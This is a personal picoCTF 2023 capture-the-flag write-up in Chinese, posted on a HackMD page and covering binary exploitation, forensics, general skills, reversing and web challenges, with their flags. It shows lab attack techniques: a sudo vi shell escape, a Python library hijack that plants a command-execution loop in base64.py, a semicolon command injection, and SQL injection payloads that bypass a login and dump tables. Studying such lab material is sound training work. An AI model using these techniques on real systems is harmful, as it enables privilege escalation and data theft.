TriangleSnake
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # picoCTF 2023 Writeup ## Binary Exploitation ### hijacking AUTHOR: THEONESTE BYAGUTANGAZA Description Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we've got the credentials to use on the server. SSH is running on the server. #### 隨便逛逛 ![](https://hackmd.io/_uploads/BkCIB9eLh.png) 發現/challenge資料夾很可疑,但是沒辦法cd進去 ![](https://hackmd.io/_uploads/BJpdBcgIn.png) 查看sudo 發現使用者可以用sudo權限使用vi ![](https://hackmd.io/_uploads/Hy6NrclIn.png) #### exploit ```shell= sudo vi :shell ``` ![](https://hackmd.io/_uploads/rkEI89xI3.png) privilege escalation了,再來就直接A進去/challenge/把flag撈出來就好 ![](https://hackmd.io/_uploads/rkETIce8h.png) >picoCTF{pYth0nn_libraryH!j@CK!n9_5a7b5866} #### 原本解法 這題當初在解的時候是在.server.py裡面import 的base64裡面搞鬼 只是不知道為甚麼在寫writeup的時候沒辦法用root權限執行.server.py 先`ls -al`發現有一個`.server.py` `cat .server.py` ```python= import base64 import os import socket ip = 'picoctf.org' response = os.system("ping -c 1 " + ip) #saving ping details to a variable host_info = socket.gethostbyaddr(ip) #getting IP from a domaine host_info_to_str = str(host_info[2]) host_info = base64.b64encode(host_info_to_str.encode('ascii')) print("Hello, this is a part of information gathering",'Host: ', host_info) ``` `vim .server.py`沒辦法動`.server.py`,因為他是readonly,但是權限沒有設定到`base64.py` **在import file裡面加料** `vim /usr/lib/python3.8/base64.py` ```python= import os while 1: cmd=input() print(os.popen(cmd).read()) ``` **get shell** ```shell= sudo python3 .server.py ``` ## Forensics ### hideme AUTHOR: GEOFFREY NJOGU Description Every file gets a flag. The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here. 下載下來發現是一張圖片 看一看感覺很正常 用`exiftool`看了一下沒有把flag藏在某個欄位裡 `strings flag.png`看看 ![](https://hackmd.io/_uploads/BkC8pqxIn.png) 發現裡面有長得很像路徑的東東 直接把`flag.png`當成zip解壓縮看看 ```shell= unzip flag.png ``` 得到半張flag ![](https://hackmd.io/_uploads/r1xCia5lI2.png) >picoCTF{Hiddinng_An_imag3_within_@n_ima9e_92076717} ### FindAndOpen AUTHOR: MUBARAK MIKAIL Description Someone might have hidden the password in the trace file. Find the key to unlock this file. This tracefile might be good to analyze. 這題給了兩個檔案,第一個是`flag.zip`和`dump.pcap`。 嘗試解壓縮`flag.zip`,發現需要密碼 #### 先從`dump.pcap`下手看看 用wireshark打開`dump.pcap` ![](https://hackmd.io/_uploads/r11qn2eL2.png) 隨便看幾個封包後發現都有明文 ![](https://hackmd.io/_uploads/SyH7T2lUh.png) 找到一個超可疑的封包,`=`結尾很可能是base64編碼的填充字元 decode後得到半截flag >This is the secret: picoCTF{R34DING_LOKd_ 回到`flag.zip`,直接通靈把第一段flag當密碼 >picoCTF{R34DING_LOKd_fil56_succ3ss_5ed3a878} ?? ## General Skills ### money-ware AUTHOR: JUNI19 Description Flag format: picoCTF{Malwarename} The first letter of the malware name should be capitalized and the rest lowercase. Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of? Google `1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX` 找到[CNBC的新聞](https://www.cnbc.com/2017/06/28/ransomware-cyberattack-petya-bitcoin-payment.html) ![](https://hackmd.io/_uploads/SkJ-yplUn.png) >picoCTF{Petya} 水爛 ### repetitions AUTHOR: THEONESTE BYAGUTANGAZA Description Can you make sense of this file? Download the file here. 下載`enc_flag` ```= VmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh RmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk MlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW VkpEVGxaYVdFMVhSbFZhTTBKWVZGWmFXbVZzV2tkWk0yaFRDbUpXV25sVVZtaFRWMGRHZEdWRlZs aGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg== ``` ==經典base64 decode後 ```= VjFSQ2EyTXlSblJUV0dSVllrWmFWRmx0TlZOalJtUlhZVVU1YVZKVVZuaFdWekZoWVZkR2NrNVVX bUZTVmtwUVdWUkdibVZXVm5WUgpiSEJzWVRCd2VWVXhXbXBOUlRWSFdqTnNWZ3BYUjFKeVZGZHdW MlZzVWxaVmJFNW9UVVJDTlZaWE1XRlVaM0JYVFZaWmVsWkdZM2hTCmJWWnlUVmhTV0dGdGVFVlhi bTkzVDFWT2JsQlVNRXNLCg== ``` 再decode ```= V1RCa2MyRnRTWGRVYkZaVFltNVNjRmRXYUU5aVJUVnhWVzFhYVdGck5UWmFSVkpQWVRGbmVWVnVR bHBsYTBweVUxWmpNRTVHWjNsVgpXR1JyVFdwV2VsUlZVbE5oTURCNVZXMWFUZ3BXTVZZelZGY3hS bVZyTVhSWGFteEVXbm93T1VOblBUMEsK ``` de ```= WTBkc2FtSXdUbFZTYm5ScFdWaE9iRTVxVW1aaWFrNTZaRVJPYTFneVVuQlpla0pyU1ZjME5GZ3lV WGRrTWpWelRVUlNhMDB5VW1aTgpWMVYzVFcxRmVrMXRXamxEWnowOUNnPT0K ``` deeee ```= Y0dsamIwTlVSbnRpWVhObE5qUmZiak56ZEROa1gyUnBZekJrSVc0NFgyUXdkMjVzTURSa00yUmZN V1V3TW1Fek1tWjlDZz09Cg== ``` eeeeeeee ```= cGljb0NURntiYXNlNjRfbjNzdDNkX2RpYzBkIW44X2Qwd25sMDRkM2RfMWUwMmEzMmZ9Cg== ``` aaaaaaaaaa ```= picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_1e02a32f} ``` ![](https://media.tenor.com/eipo4TRTSKwAAAAd/moe-simpsons-barney-e-moe.gif) >picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_1e02a32f} ### Permissions AUTHOR: GEOFFREY NJOGU Description Can you read files in the root file? The system admin has provisioned an account for you on the main server: ssh -p 53849 picoplayer@saturn.picoctf.net Password: x+T6aPgE4- Can you login and read the root file? ![](https://hackmd.io/_uploads/B1xxDTeI2.png) >picoCTF{uS1ng_v1m_3dit0r_f6ad392b} 水爛 ### chrono AUTHOR: MUBARAK MIKAIL Description How to automate tasks to run at intervals on linux servers? Use ssh to connect to this server: Server: saturn.picoctf.net Port: 50602 Username: picoplayer Password: tPmsUpiHeZ ![](https://hackmd.io/_uploads/ByLMuagIn.png) >picoCTF{Sch3DUL7NG_T45K3_L1NUX_0bb95b71} ? ### useless AUTHOR: LOIC SHEMA Description There's an interesting script in the user's home directory Additional details will be available after launching your challenge instance. ![](https://hackmd.io/_uploads/HkhIYaeIn.png) >picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_6173} ### Special AUTHOR: LT 'SYREAL' JONES Description Don't power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized... automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That's Special (TM) Start your instance to see connection details. Additional details will be available after launching your challenge instance. 這題會一直把輸入的指令變成很簡單的單字,然後把開頭用成大寫 `ls`會變`Is` `cat`會變`Cat`,但如果不是第一個字母就不會變大寫,所以可以用cat指令 用`;` 搭配Regex Command Injection ```shell= cat;cat * ``` ![](https://hackmd.io/_uploads/SJMKTpxLh.png) 發現目錄下面有一個資料夾`blargh` ```shell= cat;cat blargh/* ``` ![](https://hackmd.io/_uploads/SyasaagIn.png) >picoCTF{5p311ch3ck_15_7h3_w0r57_f578af59} ## Reverse Engineering ### Reverse AUTHOR: MUBARAK MIKAIL Description Try reversing this file? Can ya? I forgot the password to this file. Please find it for me? 題目給了一個檔案`ret`,執行後要輸密碼 ![](https://hackmd.io/_uploads/H1IQkCgU2.png) 丟GDB ```shell= start c ctrl^C ni到死 ``` ![](https://hackmd.io/_uploads/SJHUe0eL3.png) 在呼叫strcmp比對密碼時把`rsi` dump出來,得到前半截flag >picoCTF{3lf_r3v3r5ing_succe55ful_9ae8528 重新執行`ret`,輸入密碼 ![](https://hackmd.io/_uploads/HJwZb0l83.png) >picoCTF{3lf_r3v3r5ing_succe55ful_9ae85289} ## Web Exploitation ### More SQLi AUTHOR: MUBARAK MIKAIL Description Can you find the flag on this website. Additional details will be available after launching your challenge instance. #### Bypass login 進入網頁,經典登入介面 ![](https://hackmd.io/_uploads/SkQs-CeL3.png) ```sql= username=admin& password=' or 'a'='a ``` ![](https://hackmd.io/_uploads/HJnefAeU2.png) 題目很貼心把`query`都print出來給你 調整一下 ```sql= username=123& password=' or 1=1;-- ``` 進入之後有一個搜尋頁面 ![](https://hackmd.io/_uploads/SkTYRu-Uh.png) #### 測試有幾個欄位 ```sql= searchInput=' union select 1,2,3;-- ``` ![](https://hackmd.io/_uploads/ByxzS0uW83.png) #### dump Table ```sql= searchInput=' or 'a'='a ``` ![](https://hackmd.io/_uploads/BJwUJt-Ln.png) 沒看到`flag`,可能在別的`table` ```sql= ' union select group_concat(sql),2,3 from sqlite_master WHERE type='table';-- ``` ![](https://hackmd.io/_uploads/SkJ-xt-83.png) 現在知道`flag`應該在`more_table`的`flag_TEXT`欄位 ```sql= ' union select flag,2,3 from more_table;-- ``` ![](https://hackmd.io/_uploads/B16UGtZ82.png) >picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_3b0fca37} ### MatchTheRegex AUTHOR: SUNDAY JACOB NWANYIM Description How about trying to match a regular expression Additional details will be available after launching your challenge instance. 一開始沒看hint不知道到底要幹嘛 ![](https://hackmd.io/_uploads/rk36rFZ8h.png) 結果是要match`^p.....F!?` ![](https://hackmd.io/_uploads/SyhyLF-Uh.png) ![](https://hackmd.io/_uploads/S1jOSFbLn.png) >picoCTF{succ3ssfully_matchtheregex_9080e406} 世紀水題 ### findme AUTHOR: GEOFFREY NJOGU Description Help us test the form by submiting the username as test and password as test! Additional details will be available after launching your challenge instance. 先用`test` `test!`登入 ![](https://hackmd.io/_uploads/S1Q0_t-U2.png) 進去後他說*I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)* ![](https://hackmd.io/_uploads/SyiWKKbU3.png) #### 用`BurpSuite`查看被redirected的頁面 ![](https://hackmd.io/_uploads/SkjKtK-L2.png) id看起來很像經典base64 ![](https://hackmd.io/_uploads/ryteqKbUh.png) ![](https://hackmd.io/_uploads/HJZycFWLh.png) >picoCTF{proxies_all_the_way_be716d8e}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully